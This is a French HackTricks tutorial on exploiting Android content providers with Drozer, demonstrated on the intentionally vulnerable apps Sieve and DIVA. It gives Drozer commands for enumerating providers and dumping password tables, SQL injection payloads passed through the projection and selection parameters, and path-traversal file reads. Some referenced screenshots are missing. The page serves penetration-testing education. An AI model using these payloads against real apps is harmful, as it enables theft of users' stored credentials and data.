hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
2023-06-03 13:10:46 +00:00

13 KiB

Exploitation des fournisseurs de contenu

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introduction

Un composant fournisseur de contenu fournit des données d'une application à d'autres sur demande. Ces demandes sont traitées par les méthodes de la classe ContentResolver. Un fournisseur de contenu peut utiliser différentes façons de stocker ses données et les données peuvent être stockées dans une base de données, dans des fichiers, ou même sur un réseau.

Il doit être déclaré dans le fichier Manifest.xml. Exemple :

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
    <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Dans ce cas, il est nécessaire d'avoir la permission READ_KEYS pour accéder à content://com.mwr.example.sieve.DBContentProvider/Keys. (Remarquez également que dans la section suivante, nous allons accéder à /Keys/ qui n'est pas protégé, car le développeur s'est trompé et a protégé /Keys, mais a déclaré /Keys/)

Il est possible d'accéder à des données privées ou d'exploiter une vulnérabilité (Injection SQL ou Traversal de chemin).

Obtenir des informations à partir des fournisseurs de contenu exposés

dz> run app.provider.info -a com.mwr.example.sieve 
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Type: PATTERN_LITERAL
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False

Nous pouvons reconstruire une partie des URI de contenu pour accéder au DBContentProvider, car nous savons qu'ils doivent commencer par "content://" et les informations obtenues par Drozer à l'intérieur de Path: /Keys.

Drozer peut deviner et essayer plusieurs URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
... 
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys 
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Vous devriez également vérifier le code du ContentProvider pour rechercher des requêtes :

De plus, si vous ne trouvez pas de requêtes complètes, vous pouvez vérifier les noms déclarés par le ContentProvider dans la méthode onCreate :

La requête sera comme suit : content://nom.du.package.classe/nom_déclaré

Content Providers avec base de données

Probablement la plupart des Content Providers sont utilisés comme interface pour une base de données. Par conséquent, si vous y avez accès, vous pourriez être en mesure d'extraire, de mettre à jour, d'insérer et de supprimer des informations.
Vérifiez si vous pouvez accéder à des informations sensibles ou essayez de les modifier pour contourner les mécanismes d'autorisation.

Lorsque vous vérifiez le code du Content Provider, recherchez également des fonctions nommées comme : query, insert, update et delete :

Car vous pourrez les appeler.

Contenu de la requête

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insérer du contenu

En interrogeant la base de données, vous apprendrez le nom des colonnes, puis vous pourrez insérer des données dans la base de données :

Remarquez que dans l'insertion et la mise à jour, vous pouvez utiliser --string pour indiquer une chaîne, --double pour indiquer un double, --float, --integer, --long, --short, --boolean

Mettre à jour le contenu

En connaissant le nom des colonnes, vous pouvez également modifier les entrées :

Supprimer le contenu

Injection SQL

Il est simple de tester l'injection SQL (SQLite) en manipulant les champs de projection et de sélection qui sont transmis au fournisseur de contenu.
Lorsque vous interrogez le fournisseur de contenu, il y a 2 arguments intéressants pour rechercher des informations : --selection et --projection :

Vous pouvez essayer de abuser de ces paramètres pour tester les injections SQL :

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" 
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* 
FROM SQLITE_MASTER WHERE type='table';--" 
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... | 
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Découverte automatique de l'injection SQL par Drozer

Drozer est un outil puissant pour l'analyse de sécurité des applications Android. Il peut être utilisé pour détecter automatiquement les vulnérabilités d'injection SQL dans les applications Android. Pour ce faire, il utilise un module appelé scanner.provider.sqlinjection.

Ce module analyse les fournisseurs de contenu de l'application à la recherche de vulnérabilités d'injection SQL. Il envoie des requêtes SQL malveillantes aux fournisseurs de contenu et analyse les réponses pour détecter les erreurs SQL. Si une erreur SQL est détectée, cela signifie qu'il y a une vulnérabilité d'injection SQL dans l'application.

Pour utiliser ce module, vous devez d'abord vous connecter à l'application cible à l'aide de Drozer. Ensuite, vous pouvez exécuter la commande suivante pour lancer le module :

run scanner.provider.sqlinjection

Drozer enverra alors des requêtes SQL malveillantes aux fournisseurs de contenu de l'application et affichera les résultats de l'analyse. Si une vulnérabilité d'injection SQL est détectée, Drozer affichera les détails de la vulnérabilité, y compris le nom du fournisseur de contenu vulnérable et la requête SQL malveillante qui a été utilisée pour détecter la vulnérabilité.

Il est important de noter que l'utilisation de ce module peut entraîner des faux positifs ou des faux négatifs. Par conséquent, il est recommandé de vérifier manuellement toutes les vulnérabilités détectées par Drozer avant de les signaler comme des vulnérabilités réelles.

dz> run scanner.provider.injection -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
  
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
  android_metadata
  notes
  sqlite_sequence

Fournisseurs de contenu basés sur le système de fichiers

Les fournisseurs de contenu peuvent également être utilisés pour accéder aux fichiers :

Lire un fichier

Vous pouvez lire des fichiers à partir du fournisseur de contenu.

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost

Traversée de chemin d'accès

Si vous pouvez accéder aux fichiers, vous pouvez essayer d'exploiter une traversée de chemin d'accès (dans ce cas, ce n'est pas nécessaire mais vous pouvez essayer d'utiliser "../" et des astuces similaires).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost

Découverte automatique de la traversée de chemin par Drozer

Drozer has a module that can automatically discover Path Traversal vulnerabilities in Content Providers. This module is called scanner.provider.traversal.

Drozer dispose d'un module qui peut automatiquement découvrir les vulnérabilités de la traversée de chemin dans les fournisseurs de contenu. Ce module s'appelle scanner.provider.traversal.

dz> run scanner.provider.traversal -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥